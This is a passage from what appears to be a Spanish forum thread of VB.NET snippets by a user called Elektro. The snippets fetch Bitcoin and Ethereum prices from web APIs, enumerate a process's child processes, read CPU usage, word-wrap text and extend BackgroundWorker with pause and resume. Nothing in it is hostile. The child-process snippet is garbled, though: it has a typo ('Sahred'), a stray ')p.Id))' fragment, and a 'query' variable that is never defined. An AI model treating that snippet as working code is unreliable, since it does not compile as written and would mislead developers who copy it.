''' The currency.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting price.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="HttpListenerException">
''' The returned Bitcoin rate info is empty due to an unknown error.
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Private Shared Function GetBitcoinPrice(ByVal currency As Currencies) As Decimal
Dim uri As New Uri(String.Format("https://bitpay.com/api/rates/BTC/{0}", currency.ToString()))
Dim req As WebRequest = WebRequest.Create(uri)
Using res As WebResponse = req.GetResponse(),
sr As New StreamReader(res.GetResponseStream()),
xmlReader As XmlDictionaryReader =
JsonReaderWriterFactory.CreateJsonReader(sr.BaseStream, Encoding.UTF8, New XmlDictionaryReaderQuotas, Nothing)
Dim xml As XElement = XElement.Load(xmlReader)
If (xml.IsEmpty) Then
Dim errMsg As String = String.Format("The returned Bitcoin rate info is empty due to an unknown error. ""{0}""", uri.ToString())
Throw New HttpListenerException(HttpStatusCode.NotFound, errMsg)
End If
Return Decimal.Parse(xml.<rate>.Value, NumberStyles.Currency, New NumberFormatInfo With {.CurrencyDecimalSeparator = "."})
End Using
End Function
Modo de empleo:
Dim price As Decimal = GetBitcoinPrice(Currencies.USD)
Console.WriteLine(price)
Saludos.
¿CÓMO OBTENER UNA REFERENCIA A TODOS LOS PROCESOS HIJO DE UN PROCESO?
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the child processes of the source <see cref="Process"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="p">
''' The source <see cref="Process"/>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' A <see cref="IEnumerable(Of Process)"/> containing the child processes.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sahred Iterator Function GetChildProcesses(ByVal p As Process) As IEnumerable(Of Process)
Dim scope As New ManagementScope("root\CIMV2")p.Id))
Dim options As New EnumerationOptions With {
.ReturnImmediately = True,
.Rewindable = False,
.DirectRead = True,
.EnumerateDeep = False
}
Using mos As New ManagementObjectSearcher(scope, query, options),
moc As ManagementObjectCollection = mos.Get()
For Each mo As ManagementObject In moc
Dim value As Object = mo.Properties("ProcessID").Value()
If (value IsNot Nothing) Then
Yield Process.GetProcessById(CInt(value))
End If
Next
End Using
End Function
Modo de empleo:
Dim mainProcess As Process = Process.GetProcessesByName("explorer").Single()
Dim childProcesses As IEnumerable(Of Process) = GetChildProcesses(mainProcess)
For Each p As Process In childProcesses
Console.WriteLine(p.ProcessName)
Next
Saludos.
CÓMO OBTENER EL PRECIO DEL BITCOIN DE UNA CANTIDAD DE CUALQUIER CRIPTOMONEDA EN LA MONEDA QUE QUIERASCon el fin de ahorrar la escritura de código, reutilizaremos la enumeración que ya publiqué en este otro post:
- CÓMO OBTENER EL PRECIO DEL BITCOIN EN LA MONEDA QUE QUIERAS (https://foro.elhacker.net/net/libreria_de_snippets_para_vbnet_compartan_aqui_sus_snippets-t378770.0.html;msg2149675#msg2149675)
( deben copiar y pegar la enumeración "Currencies" junto al código que mostraré a continuación para que funcione. )
En esta ocasión, la API que utilizaremos será: https://coinmarketcap.com/api/ (https://coinmarketcap.com/api/), la cual soporta muchas criptomonedas, aunque no muchas divisas.
Primero definiremos una interfáz con nombre
ICryptoCurrency, que nos servirá para representar criptomonedas (Bitcoin, Ethereum, Litecoin, etcétera) y sus funcionalidades.
Public Interface ICryptoCurrency
''' <summary>
''' Gets the canonical name of this <see cref="ICryptoCurrency"/>.
''' </summary>
ReadOnly Property Name As String
''' <summary>
''' Gets the symbol of this <see cref="ICryptoCurrency"/>.
''' </summary>
ReadOnly Property Symbol As String
''' <summary>
''' Gets the price equivalency for 1 amount of this <see cref="ICryptoCurrency"/> converted to the specified currency.
''' </summary>
Function GetPrice(ByVal currency As Currencies) As Double
''' <summary>
''' Gets the price equivalency for the specified amount of this <see cref="ICryptoCurrency"/> converted to the specified currency.
''' </summary>
Function GetPrice(ByVal amount As Double, ByVal currency As Currencies) As Double
''' <summary>
''' Asunchronously gets the price equivalency for 1 amount of this <see cref="ICryptoCurrency"/> converted to the specified currency.
''' </summary>
Function GetPriceAsync(ByVal currency As Currencies) As Task(Of Double)
''' <summary>
''' Asynchronously gets the price equivalency for the specified amount of this <see cref="ICryptoCurrency"/> converted to the specified currency.
''' </summary>
Function GetPriceAsync(ByVal amount As Double, ByVal currency As Currencies) As Task(Of Double)
End InterfaceSeguidamente implementamos las criptomodas que queramos, en este caso el Bitcoin y Ethereum:
( para implementar más criptomonedas solo tienen que copiar y pegar la clase del Bitcoin o del Ethereum, modificar el nombre y el símbolo para la nueva criptomoneda, y lo demás dejarlo todo exactamente igual... )
''' <summary>
''' Represents the Bitcoin (symbol: BTC) cryptocurrency.
''' </summary>
Public Class Bitcoin : Implements ICryptoCurrency
Public Sub New()
End Sub
Public ReadOnly Property Name As String = "Bitcoin" Implements ICryptoCurrency.Name
Public ReadOnly Property Symbol As String = "BTC" Implements ICryptoCurrency.Symbol
''' <summary>
''' Gets the price for 1 Bitcoins converted to the specified currency.
''' </summary>
Public Overridable Function GetPrice(ByVal currency As Currencies) As Double Implements ICryptoCurrency.GetPrice
Return CryptoCurrencyUtil.GetCryptoCurrencyPrice(Me, 1, currency)
End Function
''' <summary>
''' Gets the price for the specified amount of Bitcoins converted to the specified currency.
''' </summary>
Public Overridable Function GetPrice(ByVal amount As Double, ByVal currency As Currencies) As Double Implements ICryptoCurrency.GetPrice
Return CryptoCurrencyUtil.GetCryptoCurrencyPrice(Me, amount, currency)
End Function
''' <summary>
''' Asynchronously gets the price for 1 Bitcoins converted to the specified currency.
''' </summary>
Public Overridable Async Function GetPriceAsync(ByVal currency As Currencies) As Task(Of Double) Implements ICryptoCurrency.GetPriceAsync
Return Await CryptoCurrencyUtil.GetCryptoCurrencyPriceAsync(Me, 1, currency)
End Function
''' <summary>
''' Asynchronously gets the price for the specified amount of Bitcoins converted to the specified currency.
''' </summary>
Public Overridable Async Function GetPriceAsync(ByVal amount As Double, ByVal currency As Currencies) As Task(Of Double) Implements ICryptoCurrency.GetPriceAsync
Return Await CryptoCurrencyUtil.GetCryptoCurrencyPriceAsync(Me, amount, currency)
End Function
End Class
''' <summary>
''' Represents the Ethereum (symbol: ETH) cryptocurrency.
''' </summary>
Public Class Ethereum : Implements ICryptoCurrency
Public Sub New()
End Sub
Public ReadOnly Property Name As String = "Ethereum" Implements ICryptoCurrency.Name
Public ReadOnly Property Symbol As String = "ETH" Implements ICryptoCurrency.Symbol
''' <summary>
''' Gets the price for 1 Ethereums converted to the specified currency.
''' </summary>
Public Overridable Function GetPrice(ByVal currency As Currencies) As Double Implements ICryptoCurrency.GetPrice
Return CryptoCurrencyUtil.GetCryptoCurrencyPrice(Me, 1, currency)
End Function
''' <summary>
''' Gets the price for the specified amount of Ethereums converted to the specified currency.
''' </summary>
Public Overridable Function GetPrice(ByVal amount As Double, ByVal currency As Currencies) As Double Implements ICryptoCurrency.GetPrice
Return CryptoCurrencyUtil.GetCryptoCurrencyPrice(Me, amount, currency)
End Function
''' <summary>
''' Asynchronously gets the price for 1 Ethereums converted to the specified currency.
''' </summary>
Public Overridable Async Function GetPriceAsync(ByVal currency As Currencies) As Task(Of Double) Implements ICryptoCurrency.GetPriceAsync
Return Await CryptoCurrencyUtil.GetCryptoCurrencyPriceAsync(Me, 1, currency)
End Function
''' <summary>
''' Asynchronously gets the price for the specified amount of Ethereums converted to the specified currency.
''' </summary>
Public Overridable Async Function GetPriceAsync(ByVal amount As Double, ByVal currency As Currencies) As Task(Of Double) Implements ICryptoCurrency.GetPriceAsync
Return Await CryptoCurrencyUtil.GetCryptoCurrencyPriceAsync(Me, amount, currency)
End Function
End ClassPor último, creamos una clase con nombre
CryptoCurrencyUtil en la que declararemos las funciones
GetCryptoCurrencyPrice y
GetCryptoCurrencyPriceAsync:
Public NotInheritable Class CryptoCurrencyUtil
Private Sub New()
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the price of the specified cryptocurrency converted to the target currency.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="cryptoCurrency">
''' The source <see cref="ICryptoCurrency"/>.
''' </param>
'''
''' <param name="amount">
''' The amount value of the source cryptocurrency.
''' </param>
'''
''' <param name="currency">
''' The target currency.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting price.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="NotImplementedException">
''' The specified currency is not supported by this API.
''' </exception>
'''
''' <exception cref="HttpListenerException">
''' The requested cryptocurrency rate info is empty due to an unknown error.
''' </exception>
'''
''' <exception cref="FormatException">
''' Element name '{0}' not found. Unknown error reason.
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function GetCryptoCurrencyPrice(ByVal cryptoCurrency As ICryptoCurrency, ByVal amount As Double, ByVal currency As Currencies) As Double
Dim t As New Task(Of Double)(
Function() As Double
Return CryptoCurrencyUtil.GetCryptoCurrencyPriceAsync(cryptoCurrency, amount, currency).Result
End Function)
t.Start()
t.Wait()
Return t.Result
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Asynchronously gets the price of the specified cryptocurrency converted to the target currency.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="cryptoCurrency">
''' The source <see cref="ICryptoCurrency"/>.
''' </param>
'''
''' <param name="amount">
''' The amount value of the source cryptocurrency.
''' </param>
'''
''' <param name="currency">
''' The target currency.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting price.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="NotImplementedException">
''' The specified currency is not supported by this API.
''' </exception>
'''
''' <exception cref="HttpListenerException">
''' The requested cryptocurrency rate info is empty due to an unknown error.
''' </exception>
'''
''' <exception cref="FormatException">
''' Element name '{0}' not found. Unknown error reason.
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Async Function GetCryptoCurrencyPriceAsync(ByVal cryptoCurrency As ICryptoCurrency, ByVal amount As Double, ByVal currency As Currencies) As Task(Of Double)
Dim validCurrencies As String() =
{
"AUD", "BRL", "CAD", "CHF", "CLP", "CNY", "CZK", "DKK",
"EUR", "GBP", "HKD", "HUF", "IDR", "ILS", "INR", "JPY",
"KRW", "MXN", "MYR", "NOK", "NZD", "PHP", "PKR", "PLN",
"RUB", "SEK", "SGD", "THB", "TRY", "TWD", "USD", "ZAR"
}
If Not validCurrencies.Contains(currency.ToString().ToUpper()) Then
Throw New NotImplementedException("The specified currency is not supported by this API.",
New ArgumentException("", paramName:="currency"))
End If
Dim uri As New Uri(String.Format("https://api.coinmarketcap.com/v1/ticker/{0}/?convert={1}",
cryptoCurrency.Name, currency.ToString()))
Dim req As WebRequest = WebRequest.Create(uri)
Using res As WebResponse = Await req.GetResponseAsync(),
SR As New StreamReader(res.GetResponseStream()),
XmlReader As XmlDictionaryReader =
JsonReaderWriterFactory.CreateJsonReader(SR.BaseStream, Encoding.UTF8, New XmlDictionaryReaderQuotas, Nothing)
Dim xml As XElement = XElement.Load(XmlReader)
If (xml.IsEmpty) Then
Dim errMsg As String = String.Format("The requested cryptocurrency rate info is empty due to an unknown error. ""{0}""", uri.ToString())
Throw New HttpListenerException(HttpStatusCode.NotFound, errMsg)
End If
Dim elementName As String = String.Format("price_{0}", currency.ToString().ToLower())
Dim element As XElement = xml.Element("item").Element(elementName)
If (element Is Nothing) Then
Throw New FormatException(String.Format("Element name '{0}' not found. Unknown error reason.", elementName))
End If
Dim price As Double = Double.Parse(element.Value, NumberStyles.Currency, New NumberFormatInfo With {.CurrencyDecimalSeparator = "."})
Select Case amount
Case Is = 1
Return price
Case Is < 1
Return (price / (1 / amount))
Case Else ' > 1
Return (price * amount)
End Select
End Using
End Function
End ClassLISTO.
Modo de empleo para obtener la equivalencia de 1 bitcoins a dólares:
Dim btc As New Bitcoin()
Dim price As Double = btc.GetPrice(Currencies.USD)
Debug.WriteLine(String.Format("{0:C}", price, CultureInfo.CurrentCulture))O tambien:
Dim cryptoCurrency As ICryptoCurrency = New Bitcoin()
Dim price As Double = CryptoCurrencyUtil.GetCryptoCurrencyPrice(cryptoCurrency, 1, Currencies.USD)
Debug.WriteLine(String.Format("{0:C}", price, CultureInfo.CurrentCulture))Modo de empleo para obtener la equivalencia de 5.86 ethereums a dólares:
Dim eth As New Ethereum()
Dim price As Double = eth.GetPrice(5.86, Currencies.USD)
Debug.WriteLine(String.Format("{0:C}", price, CultureInfo.CurrentCulture))O tambien:
Dim cryptoCurrency As ICryptoCurrency = New Ethereum()
Dim price As Double = CryptoCurrencyUtil.GetCryptoCurrencyPrice(cryptoCurrency, 5.86, Currencies.USD)
Debug.WriteLine(String.Format("{0:C}", price, CultureInfo.CurrentCulture))
EDITO:Se me olvidaba comentar... que por supuesto el nombre de la criptomoneda debe ser soportado por la API en cuestión... o mejor dicho el identificador, el campo "id" (no el campo "name"), así que quizás quieran adaptar las representaciones de criptomonedas para añadirle una propiedad con nombre "id" para ese propósito...
Aquí pueden ver todos los campos que devuelve el documento JSON:
- https://api.coinmarketcap.com/v1/ticker/
Nótese que en el caso de Bitcoin y Ethereum el nombre es igual que el identificador para la API, por eso lo he simplificado y no he implimentado el campo "Id", pero no todos los nombres son iguales que los identificadores, véase un ejemplo:
Cita de: https://api.coinmarketcap.com/v1/ticker/...
id "bitcoin-cash"
name "Bitcoin Cash"
...
Saludos.
Como obtener el uso de porcentaje de CPU de un proceso
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the CPU percentage usage for the specified <see cref="Process"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting CPU percentage usage for the specified <see cref="Process"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function GetProcessCPUPercentUsage(ByVal p As Process) As Double
Using perf As New PerformanceCounter("Process", "% Processor Time", p.ProcessName, True)
perf.NextValue()
Thread.Sleep(TimeSpan.FromMilliseconds(250)) ' Recommended value: 1 second
Return (Math.Round(perf.NextValue() / Environment.ProcessorCount, 1))
End Using
End Function
primero hay que activar el uso de los contadores de rendimiento en el archivo de manifiesto de nuestra aplicación:
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
...
<system.net>
<settings>
<performanceCounters enabled="true"/>
</settings>
</system.net>
...
</configuration>
Modo de empleo:
Do While True
Using p As Process = Process.GetProcessesByName("NOMBRE DEL PROCESO").SingleOrDefault()
Dim str As String =
String.Format("Process Name: {0}; CPU Usage: {1}%",
p.ProcessName, GetProcessCPUPercentUsage(p))
Console.WriteLine(str)
End Using
Loop
¿Cómo hacer WordWrapping a un String?.
Teniendo un string, y una longitud máxima en pixels, esta función/extensión de método nos servirá para hacerle wordwrap a dicho string, y así ajustar las palabrás al límite de longitud especificado.
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Wraps words of the source <see cref="String"/> to the
''' beginning of the next line when necessary to fit the specified pixel width.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Credits to @undejavue solution: <see href="https://stackoverflow.com/a/36803501/1248295"/>
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <param name="sender">
''' The source <see cref="String"/>.
''' </param>
'''
''' <param name="maxWidth">
''' The maximum width, in pixels.
''' </param>
'''
''' <param name="font">
''' The text font.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting string.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
<Extension>
<EditorBrowsable(EditorBrowsableState.Always)>
Public Function WordWrap(ByVal sender As String, ByVal maxWidth As Integer, ByVal font As Font) As String
Dim sourceLines() As String = sender.Split({" "c}, StringSplitOptions.None)
Dim wrappedString As New Global.System.Text.StringBuilder()
Dim actualLine As New Global.System.Text.StringBuilder()
Dim actualWidth As Double = 0
For Each line As String In sourceLines
Dim lineWidth As Integer = TextRenderer.MeasureText(line & " ", font).Width
actualWidth += lineWidth
If (actualWidth > maxWidth) Then
wrappedString.AppendLine(actualLine.ToString())
actualLine.Clear()
actualWidth = lineWidth
End If
actualLine.Append(line & " ")
Next line
If (actualLine.Length > 0) Then
wrappedString.AppendLine(actualLine.ToString())
End If
Return wrappedString.ToString()
End Function
Ejemplo de uso:
Dim tb As New TextBox With {
.Multiline = True,
.ScrollBars = ScrollBars.Both,
.WordWrap = False,
.Size = New Drawing.Size(width:=250, height:=200)
}
Dim text As String = "Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."
Dim wordWrappedText As String = text.WordWrap(tb.Width, tb.Font)
Me.Controls.Add(tb)
tb.Text = wordWrappedText
Console.WriteLine(wordWrappedText)
¿Cómo implementar funcionalidades de pausado y reanudado en un BackgroundWorker, y funcionalidades de iniciar y cancelar síncronas?.
Les presento el componente 'ElektroBackgroundWorker', es un BackgroundWorker extendido al que le añadí las funcionalidades ya mencionadas. Su modo de empleo es practicamente idéntico que un BackgroundWorker, tan solo mencionar que el equivalente al método 'BackgroundWorker.RunWorkerAsync()' es 'ElektroBackgroundWorker.RunAsync()'.
' ***********************************************************************
' Author : Elektro
' Modified : 02-February-2018
' ***********************************************************************
#Region " Option Statements "
Option Strict On
Option Explicit On
Option Infer Off
#End Region
#Region " Imports "
' Imports ElektroKit.Core.Threading.Enums
Imports System.ComponentModel
Imports System.Drawing
Imports System.Threading
#End Region
#Region " ElektroBackgroundWorker "
' Namespace Threading.Types
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' A extended <see cref="BackgroundWorker"/> component
''' with synchronous (blocking) run/cancellation support,
''' and asynchronous pause/resume features.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Friend WithEvents Worker As ElektroBackgroundWorker
'''
''' Private Sub Button_Run_Click() Handles Button_Run.Click
'''
''' If (Me.Worker IsNot Nothing) Then
'''
''' Select Case Me.Worker.State
''' Case ElektroBackgroundWorkerState.Running, ElektroBackgroundWorkerState.Paused
''' Me.Worker.Cancel()
''' Case Else
''' ' Do Nothing.
''' End Select
'''
''' End If
'''
''' Me.Worker = New ElektroBackgroundWorker
''' Me.Worker.RunAsync()
'''
''' End Sub
'''
''' Private Sub Button_Pause_Click() Handles Button_Pause.Click
''' Me.Worker.RequestPause()
''' End Sub
'''
''' Private Sub Button_Resume_Click() Handles Button_Resume.Click
''' Me.Worker.Resume()
''' End Sub
'''
''' Private Sub Button_Cancel_Click() Handles Button_Cancel.Click
''' Me.Worker.Cancel()
''' End Sub
'''
''' ''' ----------------------------------------------------------------------------------------------------
''' ''' <summary>
''' ''' Handles the <see cref="ElektroBackgroundWorker.DoWork"/> event of the <see cref="Worker"/> instance.
''' ''' </summary>
''' ''' ----------------------------------------------------------------------------------------------------
''' ''' <param name="sender">
''' ''' The source of the event.
''' ''' </param>
''' '''
''' ''' <param name="e">
''' ''' The <see cref="DoWorkEventArgs"/> instance containing the event data.
''' ''' </param>
''' ''' ----------------------------------------------------------------------------------------------------
''' <DebuggerStepperBoundary>
''' Private Sub Worker_DoWork(ByVal sender As Object, ByVal e As DoWorkEventArgs) _
''' Handles Worker.DoWork
'''
''' Dim progress As Integer
'''
''' Dim lock As Object = ""
''' SyncLock lock
'''
''' For i As Integer = 0 To 100
''' If (Me.Worker.CancellationPending) Then ' Cancel the background operation.
''' e.Cancel = True
''' Exit For
'''
''' Else
''' If (Me.Worker.PausePending) Then ' Pause the background operation.
''' Me.Worker.Pause() ' Blocking pause call.
''' End If
'''
''' Me.DoSomething()
'''
''' If Me.Worker.WorkerReportsProgress Then
''' progress = i
''' Me.Worker.ReportProgress(progress)
''' End If
'''
''' End If
'''
''' Next i
'''
''' End SyncLock
'''
''' If (Me.Worker.WorkerReportsProgress) AndAlso Not (Me.Worker.CancellationPending) AndAlso (progress < 100) Then
''' Me.Worker.ReportProgress(percentProgress:=100)
''' End If
'''
''' End Sub
'''
''' ''' ----------------------------------------------------------------------------------------------------
''' ''' <summary>
''' ''' Handles the <see cref="ElektroBackgroundWorker.ProgressChanged"/> event of the <see cref="Worker"/> instance.
''' ''' </summary>
''' ''' ----------------------------------------------------------------------------------------------------
''' ''' <param name="sender">
''' ''' The source of the event.
''' ''' </param>
''' '''
''' ''' <param name="e">
''' ''' The <see cref="ProgressChangedEventArgs"/> instance containing the event data.
''' ''' </param>
''' ''' ----------------------------------------------------------------------------------------------------
''' <DebuggerStepperBoundary>
''' Private Sub Worker_ProgressChanged(ByVal sender As Object, ByVal e As ProgressChangedEventArgs) _
''' Handles Worker.ProgressChanged
'''
''' Console.WriteLine(String.Format("Background Work Progress: {00}%", e.ProgressPercentage))
'''
''' End Sub
'''
''' ''' ----------------------------------------------------------------------------------------------------
''' ''' <summary>
''' ''' Handles the <see cref="ElektroBackgroundWorker.RunWorkerCompleted"/> event of the <see cref="Worker"/> instance.
''' ''' </summary>
''' ''' ----------------------------------------------------------------------------------------------------
''' ''' <param name="sender">
''' ''' The source of the event.
''' ''' </param>
''' '''
''' ''' <param name="e">
''' ''' The <see cref="RunWorkerCompletedEventArgs"/> instance containing the event data.
''' ''' </param>
''' ''' ----------------------------------------------------------------------------------------------------
''' <DebuggerStepperBoundary>
''' Private Sub Worker_RunWorkerCompleted(ByVal sender As Object, ByVal e As RunWorkerCompletedEventArgs) _
''' Handles Worker.RunWorkerCompleted
'''
''' If (e.Cancelled) Then
''' Debug.WriteLine("Background work cancelled.")
'''
''' ElseIf (e.Error IsNot Nothing) Then
''' Debug.WriteLine("Background work error.")
'''
''' Else
''' Debug.WriteLine("Background work done.")
'''
''' End If
'''
''' Console.WriteLine(String.Format("State: {0}", Me.Worker.State.ToString()))
'''
''' End Sub
'''
''' <DebuggerStepperBoundary>
''' Private Sub DoSomething()
''' Thread.Sleep(TimeSpan.FromSeconds(1))
''' End Sub
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <seealso cref="BackgroundWorker" />
''' ----------------------------------------------------------------------------------------------------
<DisplayName("ElektroBackgroundWorker")>
<Description("A extended BackgroundWorker component, with synchronous (blocking) run/cancellation support, and asynchronous pause/resume features.")>
<DesignTimeVisible(True)>
<DesignerCategory("Component")>
<ToolboxBitmap(GetType(Component), "Component.bmp")>
<ToolboxItemFilter("System.Windows.Forms", ToolboxItemFilterType.Require)>
<DefaultEvent("DoWork")>
Public Class ElektroBackgroundWorker : Inherits BackgroundWorker
#Region " Private Fields "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' A <see cref="ManualResetEvent"/> that serves to handle synchronous operations (Run, Cancel, Pause, Resume).
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Protected ReadOnly mreSync As ManualResetEvent
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' A <see cref="ManualResetEvent"/> that serves to handle asynchronous operations (RunAsync, CancelAsync, RequestPause).
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Protected ReadOnly mreAsync As ManualResetEvent
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Indicates whether the <see cref="BackGroundworker"/> has been initiated in synchronous mode.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Protected isRunSync As Boolean
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Indicates whether a synchronous cancellation operation is requested.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Protected isCancelSyncRequested As Boolean
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Indicates whether a (asynchronous) pause operation is requested.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Protected isPauseRequested As Boolean
#End Region
#Region " Properties "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets a value indicating whether the <see cref="ElektroBackgroundWorker"/> can report progress updates.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' <see langword="True"/> if can report progress updates; otherwise, <see langword="False"/>.
''' </value>
''' ----------------------------------------------------------------------------------------------------
<Browsable(False)>
<EditorBrowsable(EditorBrowsableState.Always)>
<Description("A value indicating whether the ElektroBackgroundWorker can report progress updates.")>
Public Overloads ReadOnly Property WorkerReportsProgress As Boolean
Get
Return MyBase.WorkerReportsProgress
End Get
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets a value indicating whether the <see cref="ElektroBackgroundWorker"/> supports asynchronous cancellation.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' <see langword="True"/> if supports asynchronous cancellation; otherwise, <see langword="False"/>.
''' </value>
''' ----------------------------------------------------------------------------------------------------
<Browsable(False)>
<EditorBrowsable(EditorBrowsableState.Always)>
<Description("A value indicating whether the ElektroBackgroundWorker supports asynchronous cancellation.")>
Public Overloads ReadOnly Property WorkerSupportsCancellation As Boolean
Get
Return MyBase.WorkerSupportsCancellation
End Get
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the current state of a pending background operation.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The current state of a pending background operation.
''' </value>
''' ----------------------------------------------------------------------------------------------------
<Browsable(False)>
<EditorBrowsable(EditorBrowsableState.Always)>
<Description("The current state of a pending background operation.")>
Public ReadOnly Property State As ElektroBackgroundWorkerState
<DebuggerStepThrough>
Get
Return Me.stateB
End Get
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' ( Backing Field )
''' The current state of a pending background operation.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Private stateB As ElektroBackgroundWorkerState = ElektroBackgroundWorkerState.Stopped
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets a value indicating whether the application has requested pause of a background operation.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' <see langword="True"/> if the application has requested pause of a background operation;
''' otherwise, false.
''' </value>
''' ----------------------------------------------------------------------------------------------------
<Browsable(False)>
<EditorBrowsable(EditorBrowsableState.Always)>
<Description("A value indicating whether the application has requested pause of a background operation.")>
Public ReadOnly Property PausePending As Boolean
Get
Return Me.isPauseRequested
End Get
End Property
#End Region
#Region " Constructors "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="ElektroBackgroundWorker"/> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<DebuggerNonUserCode>
Public Sub New()
Me.mreSync = New ManualResetEvent(initialState:=False)
Me.mreAsync = New ManualResetEvent(initialState:=True)
End Sub
#End Region
#Region " Public Methods "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Starts execution of a background operation.
''' <para></para>
''' It blocks the caller thread until the background work is done.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="InvalidOperationException">
''' In order to run the BackgroundWorker, the background operation must be stopped or completed.
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Overridable Sub Run()
If (Me Is Nothing) Then
Throw New ObjectDisposedException(objectName:="Me")
Else
Select Case Me.stateB
Case ElektroBackgroundWorkerState.Stopped, ElektroBackgroundWorkerState.Completed
Me.isRunSync = True
MyBase.WorkerReportsProgress = False
MyBase.WorkerSupportsCancellation = False
MyBase.RunWorkerAsync()
Me.stateB = ElektroBackgroundWorkerState.Running
Me.mreSync.WaitOne()
Case Else
Throw New InvalidOperationException("In order to run the BackgroundWorker, the background operation must be stopped or completed.")
End Select
End If
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Asynchronously starts execution of a background operation.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="InvalidOperationException">
''' In order to run the BackgroundWorker, the background operation must be stopped or completed.
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Overridable Sub RunAsync()
If (Me Is Nothing) Then
Throw New ObjectDisposedException(objectName:="Me")
Else
Select Case Me.stateB
Case ElektroBackgroundWorkerState.Stopped, ElektroBackgroundWorkerState.Completed
MyBase.WorkerReportsProgress = True
MyBase.WorkerSupportsCancellation = True
MyBase.RunWorkerAsync()
Me.stateB = ElektroBackgroundWorkerState.Running
Case Else
Throw New InvalidOperationException("In order to run the BackgroundWorker, the background operation must be stopped or completed.")
End Select
End If
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Pause a pending background operation.
''' <para></para>
''' It blocks the caller thread until the background work is resumed.
''' To resume the background work, call the <see cref="ElektroBackgroundWorker.Resume"/> method.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="InvalidOperationException">
''' In order to pause the BackgroundWorker, firstly a pause request should be made.
''' </exception>
'''
''' <exception cref="InvalidOperationException">
''' In order to pause the BackgroundWorker, the background operation must be be running.
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Overridable Sub Pause()
If (Me Is Nothing) Then
Throw New ObjectDisposedException(objectName:="Me")
Else
Select Case Me.stateB
Case ElektroBackgroundWorkerState.Running
If (Me.PausePending) Then
Me.mreAsync.WaitOne(Timeout.Infinite)
Else
Throw New InvalidOperationException("In order to pause the BackgroundWorker, firstly a pause request should be made.")
End If
Case Else
Throw New InvalidOperationException("In order to pause the BackgroundWorker, the background operation must be running.")
End Select
End If
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Asynchronously requests to pause a pending background operation.
''' <para></para>
''' To pause the background work after requesting a pause,
